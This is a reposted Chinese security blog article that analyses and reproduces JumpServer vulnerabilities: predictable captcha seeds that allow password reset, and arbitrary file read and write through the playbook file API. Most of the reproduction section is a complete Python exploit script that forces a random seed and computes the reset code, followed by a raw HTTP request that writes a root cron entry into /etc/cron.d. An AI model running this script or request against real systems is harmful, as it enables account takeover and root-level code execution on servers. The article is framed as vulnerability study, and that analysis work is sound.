由于微信公众号推送机制改变了,快来星标不再迷路,谢谢大家!
0x01 前言
0x02 漏洞分析
验证码可预测导致密码重置
简单来说,这个漏洞的根本原因是随机数种子被泄露,后续生成随机数所使用的种子都是这个泄露的种子,由于随机数生成算法的确定性,只要种子一样,每次生成的随机数就是一致的。也就是说,导致这个漏洞的关键是种子泄露了,使得每个用户生成的随机数序列都一模一样,破坏了随机性。再看一眼下面的结果相信兄弟们就都明白了。
第一处:
可以看到是在captcha_image被调用的。
任意文件读取/写入
根据playbook管理功能点接口搜索”playbook/”追踪,发现当访问这个路由的时候会进入PlaybookFileBrowserAPIView。
0x03 漏洞复现
密码重置
p佬已经写好的脚本代码(最近看到一个脚本把获取token那一步也自动化了)
import
requests
import
logging
import
sys
import
random
import
string
import
argparse
from
urllib.parse
import
urljoin
logging.basicConfig(stream=sys.stdout, level=logging.INFO, format=
'%(asctime)s - %(levelname)s - %(message)s'
)
string_punctuation =
'!#$%&()*+,-.:;<=>?@[]^_~'
def
random_string
(length: int, lower=True, upper=True, digit=True, special_char=False)
:
args_names = [
'lower'
,
'upper'
,
'digit'
,
'special_char'
]
args_values = [lower, upper, digit, special_char]
args_string = [string.ascii_lowercase, string.ascii_uppercase, string.digits, string_punctuation]
args_string_map = dict(zip(args_names, args_string))
kwargs = dict(zip(args_names, args_values))
kwargs_keys = list(kwargs.keys())
kwargs_values = list(kwargs.values())
args_true_count = len([i
for
i
in
kwargs_values
if
i])
assert
any(kwargs_values),
f'Parameters
{kwargs_keys}
must have at least one `True`'
assert
length >= args_true_count,
f'Expected length >=
{args_true_count}
, bug got
{length}
'
can_startswith_special_char = args_true_count ==
1
and
special_char
chars =
''
.join([args_string_map[k]
for
k, v
in
kwargs.items()
if
v])
while
True
:
password = list(random.choice(chars)
for
i
in
range(length))
for
k, v
in
kwargs.items():
if
v
and
not
(set(password) & set(args_string_map[k])):
# 没有包含指定的字符, retry
break
else
:
if
not
can_startswith_special_char
and
password[
0
]
in
args_string_map[
'special_char'
]:
# 首位不能为特殊字符, retry
continue
else
:
# 满足要求终止 while 循环
break
password =
''
.join(password)
return
password
def
nop_random
(seed: str)
:
random.seed(seed)
for
i
in
range(
4
):
random.randrange(
-35
,
35
)
for
p
in
range(int(
180
*
38
*
0.1
)):
random.randint(
0
,
180
)
random.randint(
0
,
38
)
def
fix_seed
(target: str, seed: str)
:
def
_request
(i: int, u: str)
:
logging.info(
'send %d request to %s'
, i, u)
response = requests.get(u, timeout=
5
)
assert
response.status_code ==
200
assert
response.headers[
'Content-Type'
] ==
'image/png'
url = urljoin(target,
'/core/auth/captcha/image/'
+ seed +
'/'
)
for
idx
in
range(
10
):
_request(idx, url)
def
send_code
(target: str, email: str, reset_token: str)
:
url = urljoin(target,
"/api/v1/authentication/password/reset-code/?token="
+ reset_token)
response = requests.post(url, json={
'email'
: email,
'sms'
:
''
,
'form_type'
:
'email'
,
}, allow_redirects=
False
)
assert
response.status_code ==
200
logging.info(
"send code headers: %r response: %r"
, response.headers, response.text)
def
main
(target: str, email: str, seed: str, token: str)
:
fix_seed(target, seed)
nop_random(seed)
send_code(target, email, token)
code = random_string(
6
, lower=
False
, upper=
False
)
logging.info(
"your code is %s"
, code)
if
__name__ ==
"__main__"
:
parser = argparse.ArgumentParser(description=
'Process some integers.'
)
parser.add_argument(
'-t'
,
'--target'
, type=str, required=
True
, help=
'target url'
)
parser.add_argument(
'--email'
, type=str, required=
True
, help=
'account email'
)
parser.add_argument(
'--seed'
, type=str, required=
True
, help=
'seed from captcha url'
)
parser.add_argument(
'--token'
, type=str, required=
True
, help=
'account reset token'
)
args = parser.parse_args()
main(args.target, args.email, args.seed, args.token)
正常输入用户名进入下一步到如下界面,复制token。
右键”在新标签中打开图片”,获取一个key也就是种子。
根据实际情况调整请求次数,覆盖所有进程为同一个随机数种子,然后填入token、seed、email、ip运行脚本即可。
之后输入得到的验证码提交即可进入设置新密码流程。
任意文件读取
创建一个playbook模板,获取id。
抓包获取前缀路径拼接playbook/[uuid:pk]/file/?key=/etc/cron.d/test即可读取任意文件。
任意文件写入
修改请求参数,key与name拼接形成路径,content为写入的内容,发包即可修改任意文件内容。
POST
/api/v1/ops/playbook/60a94b33-ae22-4af7-a9ba-2b94220776d3/file/
HTTP/1.1
Host
: 192.168.110.209
X-CSRFToken
: KONtfk71te76xqJdQkvmz1Sz1gkR8y0g
User-Agent
: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Type
: application/json
Origin
: http://192.168.110.209
Referer
: http://192.168.110.209/ui/
Cookie
: SESSION_COOKIE_NAME_PREFIX=jms_; jms_public_key="LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FDMk5wM3ZKM2l0eDBoRUcrbnU5dGM1a0hGRQpQUEVQT3AyVC9zbFlsM0hzRGJwL1BZNjVrQlkrVDh5NFZtWDBHQTl5S20yRDJZNEJtT1dxd0FBUCtBL2RndTNrClNNVlNHcFFRZEl3UFRJdTl4L3NEVHIySncvQ1BhNUtnNUlKYnJSRTh1UVF4ME1FMEtLU0JMZHVRcGRDRkEyNzkKVjZaNlAyRmViaVlHU0x2bzFRSURBUUFCCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQ=="; jms_session_expire=close; jms_csrftoken=KONtfk71te76xqJdQkvmz1Sz1gkR8y0g; jms_sessionid=m4ipcdywsc1w78mxlx0gv0fa5j97jyqw; X-JMS-ORG=00000000-0000-0000-0000-000000000002; activeTab=Workspace
Connection
: close
Content-Length
: 108
{
"key"
:
"/etc/cron.d"
,
"name"
:
"test"
,
"content"
:
"*/2 * * * * root touch /tmp/111.txt"
}
利用任意文件读取查看是否写入成功。
0x04 总结
在复现漏洞时也要多思考,不要一味的复现或者直接定位到vuln位置看一眼就过,要以挖掘0day的视角来全面思考和分析整个漏洞发现过程,不然没有任何意义,如果之前你也挖过相同的系统,那你为什么没有挖到而别人挖到了,是挖掘经验和思路的问题还是基础不扎实还是不够细心等等问题,总结一下,哪里不足补哪里。
原文始发于微信公众号(渗透安全团队):Jumpserver漏洞分析/复现全记录 | 分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论